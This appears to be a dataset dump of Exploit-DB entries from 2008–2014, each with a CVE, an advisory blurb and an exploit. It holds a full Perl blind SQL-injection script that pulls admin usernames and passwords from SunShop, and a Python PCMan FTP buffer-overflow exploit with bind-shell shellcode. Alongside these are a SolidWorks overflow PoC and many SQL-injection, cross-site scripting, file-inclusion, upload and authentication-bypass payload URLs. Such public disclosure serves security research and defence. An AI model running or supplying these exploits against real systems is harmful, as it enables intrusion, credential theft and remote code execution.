QLWD/code_shield huggingface dataset:
标题: SunShop Shopping Cart 3.5.1 - 'index.php' SQL Injection EDB-ID: 31800 CVE: 2008-2339 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/29241/info

SunShop Shopping Cart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SunShop Shopping Cart 3.5.1 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl -w
use LWP::UserAgent;
# scripts : SunShop Version 3.5.1 Remote Blind Sql Injection
# scripts site : http://www.turnkeywebtools.com/sunshop/
# Discovered
# By : irvian
# site : http://irvian.cn
# email : irvian.info@gmail.com

print "\r\n[+]-----------------------------------------[+]\r\n";
print "[+]Blind SQL injection [+]\r\n";
print "[+]SunShop Version 3.5.1 [+]\r\n";
print "[+]code by irvian [+]\r\n";
print "[+]special : ifx, arioo, jipank, bluespy [+]\r\n";
print "[+]-----------------------------------------[+]\n\r";
if (@ARGV < 5){
die "

Cara Mengunakan : perl $0 host option id tabel itemid

Keterangan
host : http://victim.com
Option : pilih 1 untuk mencari username dan pilih 2 untuk mencari password
id : Isi Angka Kolom id biasanya 1, 2 ,3 dst
tabel : Isi Kolom tabel biasanya admin atau ss_admin
itemid : Isi Angka valid (ada productnya) di belakang index.php?action=item&id=
Contoh : perl $0 http://www.underhills.com/cart 1 1 admin 10
\n";}


$url = $ARGV[0];
$option = $ARGV[1];
$id = $ARGV[2];
$tabel = $ARGV[3];
$itemid = $ARGV[4];

if ($option eq 1){
syswrite(STDOUT, "username: ", 10);}
elsif ($option eq 2){
syswrite(STDOUT, "password: ", 10);}

for($i = 1; $i <= 32; $i++){
$f = 0;
$n = 32;
while(!$f && $n <= 57)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
if ($f==0){
$n = 97;
while(!$f && $n <= 122)
{
if(&blind($url, $option, $id, $tabel, $i, $n, $itemid)){
$f = 1;
syswrite(STDOUT, chr($n), 1);
}
$n++;
}
}
}
print "\n[+]finish Execution Exploit\n";

sub blind {
my $site = $_[0];
my $op = $_[1];
my $id = $_[2];
my $tbl = $_[3];
my $i = $_[4];
my $n = $_[5];
my $item = $_[6];

if ($op eq 1){
$klm = "username";
}
elsif ($op eq 2){
$klm = "password";
}
my $ua = LWP::UserAgent->new;
my $url = "$site"."/index.php?action=item&id="."$item"."'%20AND%20SUBSTRING((SELECT%20"."$klm"."%20FROM%20"."$tbl"."%20WHERE%20id="."$id"."),"."$i".",1)=CHAR("."$n".")/*";
my $res = $ua->get($url);
my $browser = $res->content;
if ($browser !~ /This product is currently not viewable/i){
return 1;
}
else {
return 0;
}

} URL: https://www.exploit-db.com/exploits/31800
标题: philboard 0.5 - 'W1L3D4_konuya_mesaj_yaz.asp' Multiple SQL Injections EDB-ID: 31799 CVE: 2008-2334 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/29229/info
  
Philboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Philboard 0.5 is vulnerable; other versions may also be affected.

http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuya_mesaj_yaz.asp?id=1+union+select+(password),username,password,password,4,1,1,1,null,1,password,password,password,password,password+from+users URL: https://www.exploit-db.com/exploits/31799
标题: philboard 0.5 - 'W1L3D4_foruma_yeni_konu_ac.asp?forumid' SQL Injection EDB-ID: 31797 CVE: 2008-2334 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/29229/info

Philboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Philboard 0.5 is vulnerable; other versions may also be affected.

http://www.example.com:2222/lab/philboard_v5/W1L3D4_foruma_yeni_konu_ac.asp?forumid=1+union+select+0,1,(username),(password),1,1+from+users URL: https://www.exploit-db.com/exploits/31797
标题: ACGV News 0.9.1 - 'glossaire.php?id' Cross-Site Scripting EDB-ID: 31802 CVE: 2008-2413 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/29253/info
 
ACGV News is prone to multiple input-validation vulnerabilities, including an SQL-injection issue and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
ACGV News 0.9.1 is vulnerable; other versions may also be affected. 

http://www.example.com/ACGVnews/glossaire.php?id="><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31802
标题: philboard 0.5 - 'W1L3D4_konuoku.asp?id' SQL Injection EDB-ID: 31798 CVE: 2008-2334 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/29229/info
 
Philboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Philboard 0.5 is vulnerable; other versions may also be affected.

http://www.example.com:2222/lab/philboard_v5/W1L3D4_konuoku.asp?id=1+union+select+0,1,2,3,4,5,6,1,1,1,1,1,1,1,7,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,8,9,1,1,1,1,1,1,1,1,1,1+from+users URL: https://www.exploit-db.com/exploits/31798
标题: PCMan FTP Server 2.07 - Remote Buffer Overflow EDB-ID: 31789 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2014-02-20 漏洞利用脚本: # Exploit Title: PCMAN FTP 2.07 Long Command Buffer Overflow (unauthenticated)
# Date: Feb 19, 2014
# Exploit Author: Sumit
# Version: 2.07
# Tested on: Windows XP Professional SP3
# Description: Buffer overflow is triggered upon sending long string to PCMAN FTP 2.07 in place of command
#

import socket
import datetime

"""
You have to take into account your IP addr and servers date (if using NAT, check external IP) as buffer starts like the following:
2014/2/20 [00:40] (00320) 127.0.0.100> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
"""

host = '192.168.213.10'

d = str(datetime.datetime.today()).split()[0].split('-') # You should ideally consider servers date here
for i in range(len(d)): d[i] = str(int(d[i]))
d = '/'.join(d) # Finally we got the date

# msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d'
shellcode = (
"\xda\xdb\xd9\x74\x24\xf4\xbe\xb5\x40\x16\xb6\x5b\x2b\xc9" +
"\xb1\x56\x31\x73\x18\x83\xeb\xfc\x03\x73\xa1\xa2\xe3\x4a" +
"\x21\xab\x0c\xb3\xb1\xcc\x85\x56\x80\xde\xf2\x13\xb0\xee" +
"\x71\x71\x38\x84\xd4\x62\xcb\xe8\xf0\x85\x7c\x46\x27\xab" +
"\x7d\x66\xe7\x67\xbd\xe8\x9b\x75\x91\xca\xa2\xb5\xe4\x0b" +
"\xe2\xa8\x06\x59\xbb\xa7\xb4\x4e\xc8\xfa\x04\x6e\x1e\x71" +
"\x34\x08\x1b\x46\xc0\xa2\x22\x97\x78\xb8\x6d\x0f\xf3\xe6" +
"\x4d\x2e\xd0\xf4\xb2\x79\x5d\xce\x41\x78\xb7\x1e\xa9\x4a" +
"\xf7\xcd\x94\x62\xfa\x0c\xd0\x45\xe4\x7a\x2a\xb6\x99\x7c" +
"\xe9\xc4\x45\x08\xec\x6f\x0e\xaa\xd4\x8e\xc3\x2d\x9e\x9d" +
"\xa8\x3a\xf8\x81\x2f\xee\x72\xbd\xa4\x11\x55\x37\xfe\x35" +
"\x71\x13\xa5\x54\x20\xf9\x08\x68\x32\xa5\xf5\xcc\x38\x44" +
"\xe2\x77\x63\x01\xc7\x45\x9c\xd1\x4f\xdd\xef\xe3\xd0\x75" +
"\x78\x48\x99\x53\x7f\xaf\xb0\x24\xef\x4e\x3a\x55\x39\x95" +
"\x6e\x05\x51\x3c\x0e\xce\xa1\xc1\xdb\x41\xf2\x6d\xb3\x21" +
"\xa2\xcd\x63\xca\xa8\xc1\x5c\xea\xd2\x0b\xeb\x2c\x1d\x6f" +
"\xb8\xda\x5c\x8f\x2f\x47\xe8\x69\x25\x67\xbc\x22\xd1\x45" +
"\x9b\xfa\x46\xb5\xc9\x56\xdf\x21\x45\xb1\xe7\x4e\x56\x97" +
"\x44\xe2\xfe\x70\x1e\xe8\x3a\x60\x21\x25\x6b\xeb\x1a\xae" +
"\xe1\x85\xe9\x4e\xf5\x8f\x99\xf3\x64\x54\x59\x7d\x95\xc3" +
"\x0e\x2a\x6b\x1a\xda\xc6\xd2\xb4\xf8\x1a\x82\xff\xb8\xc0" +
"\x77\x01\x41\x84\xcc\x25\x51\x50\xcc\x61\x05\x0c\x9b\x3f" +
"\xf3\xea\x75\x8e\xad\xa4\x2a\x58\x39\x30\x01\x5b\x3f\x3d" +
"\x4c\x2d\xdf\x8c\x39\x68\xe0\x21\xae\x7c\x99\x5f\x4e\x82" +
"\x70\xe4\x7e\xc9\xd8\x4d\x17\x94\x89\xcf\x7a\x27\x64\x13" +
"\x83\xa4\x8c\xec\x70\xb4\xe5\xe9\x3d\x72\x16\x80\x2e\x17" +
"\x18\x37\x4e\x32")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 21))

nop = '\x90'*50
eip = '\x53\x93\x42\x7E' # EIP = 7E429353; JMP ESP in USER32.dll
myip = s.getsockname()[0]
padding = 'A' * (2029 - (len(d) + len(myip)))

buf = padding + eip + nop + shellcode

s.send('%s\r\n' % (buf))
s.recv(1024)
print 'Payload sent'
s.close() URL: https://www.exploit-db.com/exploits/31789
标题: PHPInstantGallery 2.0 - 'index.php?Gallery' Cross-Site Scripting EDB-ID: 31778 CVE: 2008-2449 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/29152/info

phpInstantGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/phpInstantGallery/index.php?gallery=[XSS] URL: https://www.exploit-db.com/exploits/31778
标题: Fusebox 5.5.1 - 'fusebox5.php' Remote File Inclusion EDB-ID: 31783 CVE: 2008-2284 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/29163/info

Fusebox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Fusebox 5.5.1 is vulnerable; other versions may also be affected. 

http://www.example.com/[PaTh]/fusebox5.php?FUSEBOX_APPLICATION_PATH=[EV!L] URL: https://www.exploit-db.com/exploits/31783
标题: CyrixMED 1.4 - 'index.php' Cross-Site Scripting EDB-ID: 31780 CVE: 2008-2264 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/29153/info

CyrixMED is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

CyrixMED 1.4 is vulnerable; other versions may also be affected.

http://www.example.com/CyrixMed_v1.4/index.php?msg_erreur=[XSS] URL: https://www.exploit-db.com/exploits/31780
标题: PHPInstantGallery 2.0 - 'image.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31779 CVE: 2008-2449 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/29152/info
 
phpInstantGallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/phpInstantGallery/image.php?gallery=1&imgnum=[XSS]
http://www.example.com/phpInstantGallery/image.php?gallery=[XSS] URL: https://www.exploit-db.com/exploits/31779
标题: BlogPHP 2.0 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31774 CVE: 2008-6631 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/29133/info

BlogPHP is prone to multiple input-validation vulnerabilities, including a cross-site scripting issue, an HTML-injection issue, and a cookie-manipulation issue.

Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, and gain access as an arbitrary user.

BlogPHP 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?act=sendmessage&user=admin[XSS] URL: https://www.exploit-db.com/exploits/31774
标题: cPanel 11.x - '/scripts2/changeip?user' Cross-Site Scripting EDB-ID: 31772 CVE: 2008-2070 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/29125/info
 
cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/scripts2/changeip?domain=any&user=[INJECTION] URL: https://www.exploit-db.com/exploits/31772
标题: cPanel 11.x - '/scripts2/knowlegebase?issue' Cross-Site Scripting EDB-ID: 31771 CVE: 2008-2070 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/29125/info

cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/scripts2/knowlegebase?issue=[INJECTION]&domain= URL: https://www.exploit-db.com/exploits/31771
标题: Oracle Application Server Portal 10g - Authentication Bypass EDB-ID: 31770 CVE: 2008-2138 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/29119/info

Oracle Application Server Portal is prone to a authentication-bypass vulnerability because the application fails to properly restrict access to certain resources.

An attacker can exploit this vulnerability to bypass certain security restrictions and gain access to potentially sensitive contents of the portal.

Oracle Application Server Portal 10g is vulnerable to this issue; other versions may also be affected.

Visiting the 'http://www.example.com/portal/%0A' site will create a cookie sufficient to trigger the issue and access 'http://www.example.com/dav_portal/porta/' without authorization. URL: https://www.exploit-db.com/exploits/31770
标题: cPanel 11.x - '/scripts2/listaccts?search' Cross-Site Scripting EDB-ID: 31773 CVE: 2008-2070 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/29125/info
  
cPanel is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
http://www.example.com/scripts2/listaccts?searchtype=domain&search=[INJECTION]&acctp=30 URL: https://www.exploit-db.com/exploits/31773
标题: SolidWorks Workgroup PDM 2014 SP2 Opcode 2001 - Denial of Service EDB-ID: 31763 CVE: 2014-100014 类型: DOS 平台: WINDOWS 发布日期: 2014-02-19 漏洞利用脚本: '''
# Exploit Title: SolidWorks Workgroup PDM 2014 SP2 Opcode 2001 Remote Code Execution Vulnerability
# Date: 2-18-2014
# Author: Mohamed Shetta
Email: mshetta |at| live |dot| com
# Vendor Homepage: http://www.solidworks.com/sw/products/product-data-management/workgroup-pdm.htm
# Tested on: Windows 7
#Vulnerability type: Remote Code Execution
#Vulnerable file: pdmwService.exe
#PORT: 30000


---------------------------------------------------------------------------------------------------------
Software Description:

SolidWorks Workgroup PDM is a PDM tool that allows SolidWorks users operating in teams of 10 members or less to work on designs concurrently. With SolidWorks PDM Workgroup, designers can search, revise, and vault CAD data while maintaining an accurate design history.


---------------------------------------------------------------------------------------------------------
Vulnerability Details:

A stack buffer overflow occurs when copying a user supplied input to a fixed size stack buffer without boundary check leading to overwrite the SEH and the return address.
The copying procedure stops when a null word is found and no size check is proceeded.


-----------------------------------------------------------------------------------------------------------
Vulnerable Code:
EAX contains the User supplied data.

004E0C50 |> /0FB708 /MOVZX ECX,WORD PTR DS:[EAX] ; Copying To Fixed Size Buffer
004E0C53 |. |66:890C02 |MOV WORD PTR DS:[EDX+EAX],CX
004E0C57 |. |83C0 02 |ADD EAX,2
004E0C5A |. |66:85C9 |TEST CX,CX
004E0C5D |.^\75 F1 \JNZ SHORT 004E0C50 ; pdmwServ.004E0C50


------------------------------------------------------------------------------------------------------------
PoC:

The PoC attacks both the SEH and Return address, overwriting them with 0x00401000.
To demonstrate the vulnerability easily SEH will be used to take control of EIP.

The exception will be triggered by 0x004B9CB6 Because another read attempt is made that fails because of read time out error. This behavior is intended by the attacker to trigger the exception.

------------------------------------------------------------------------------------------------------------
Further attack vectors:

Opcodes 2002 and 2003 are vulnerable too.

------------------------------------------------------------------------------------------------------------
Disclosure timeline:

12/15/2013 - Vendor notified and no response.
2/18/2014 - Public disclosure
'''

#!/usr/bin/env python
  
import socket

Shell="A"*2060
EIP="\x00\x10\x40\x00"
buff="\xD1\x07\x00\x00" + "\x1C\x08\x00\x00" + Shell + EIP + "\x90\x90\x90\x90\x90\x90\x90\x90" + EIP
          #OpCode                        Size of the next data                                   Junk
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.3", 30000))
s.send(buff) URL: https://www.exploit-db.com/exploits/31763
标题: Microsoft Internet Explorer 2 - UTF-7 HTTP Response Handling EDB-ID: 31759 CVE: 2008-2168 类型: REMOTE 平台: WINDOWS 发布日期: 2008-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/29112/info

Microsoft Internet Explorer is prone to a weakness that can facilitate cross-site scripting attacks. The issue occurs because the application fails to sufficiently sanitize user-supplied input when handling UTF-7 charset data received in HTTP responses.

Attackers can leverage this weakness to aid in cross-site scripting attacks against unsuspecting users of the application.

Reports indicate that all versions of Internet Explorer are affected.

Other browsers may also be affected under certain configurations, but this has not been confirmed.

NOTE: This BID was originally titled 'Apache HTTP Server 403 Error Cross-Site Scripting Vulnerability'.

http://www.example.com/Znl5g3k70ZaBUPYmN5RAGUdkskoprzGI63K4mIj2sqzbX0Kc3Fu7vfthepWhmKvjudPuJTNeK9zw5MaZ1yXJi8RJRRuPe5UahFwOblMXsIPTGh3pVjTLdim3vuTKgdazOG9 idQbIjbnpMEco8Zlo5xNRuCoviPx7x7tYYeOgc8HU46gaecJwnHY7f6GlQB8H6kBFhjoIaHE1SQPhU5VReCz1olPh5jZ%3Cfont%20size=50%3EDEFACED%3C!xc+ADw-script+AD4-alert('xss') +ADw-/script+AD4---//-- URL: https://www.exploit-db.com/exploits/31759
标题: ZyWALL 100 HTTP Referer Header - Cross-Site Scripting EDB-ID: 31757 CVE: 2008-2167 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/29110/info

ZyWALL 100 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

GET /blah.htm HTTP/1.1
Host: www.site.com
Referer: blaaaa"><script>alert(12345)</script>aaaah.htm URL: https://www.exploit-db.com/exploits/31757
标题: SonicWALL Email Security 6.1.1 - Error Page Cross-Site Scripting EDB-ID: 31756 CVE: 2008-2162 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/29107/info

SonicWALL Email Security is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input when displaying URI address data in an error page.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SonicWALL Email Security 6.1.1 is vulnerable; other versions may also be affected. 

GET /blah.htm HTTP/1.1 Host: "><script>alert('XSS');</script> URL: https://www.exploit-db.com/exploits/31756
标题: QTO File Manager 1.0 - 'qtofm.php' Arbitrary File Upload EDB-ID: 31750 CVE: 2008-2110 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/29072/info

QTO File Manager is prone to a vulnerability that lets remote attackers upload and execute arbitrary script code because the application fails to sanitize user-supplied input.

An attacker can leverage this issue to execute arbitrary code on an affected computer with the privileges of the webserver process. 

http://www.example.com/qtofm.php?[shell.php.jpg] URL: https://www.exploit-db.com/exploits/31750
标题: SAP Internet Transaction Server 6200.1017.50954.0 - Bu query String JavaScript Splicing Cross-Site Scripting EDB-ID: 31755 CVE: 2008-2123 类型: WEBAPPS 平台: CGI 发布日期: 2008-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/29103/info
 
SAP Internet Transaction Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect ITS 6200.1017.50954.0, Build 730827 (win32/IIS 5.0).

http://www.example.com/scripts/wgate/%22);alert('xss');alert(%22a/! URL: https://www.exploit-db.com/exploits/31755
标题: SAP Internet Transaction Server 6200.1017.50954.0 Bu (WGate) - 'wgate.dll?~service' Cross-Site Scripting EDB-ID: 31754 CVE: 2008-2123 类型: WEBAPPS 平台: CGI 发布日期: 2008-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/29103/info

SAP Internet Transaction Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect ITS 6200.1017.50954.0, Build 730827 (win32/IIS 5.0).


http://www.example.com/scripts/wgate.dll?~service=--><img%09src=javascript:alert(xss) URL: https://www.exploit-db.com/exploits/31754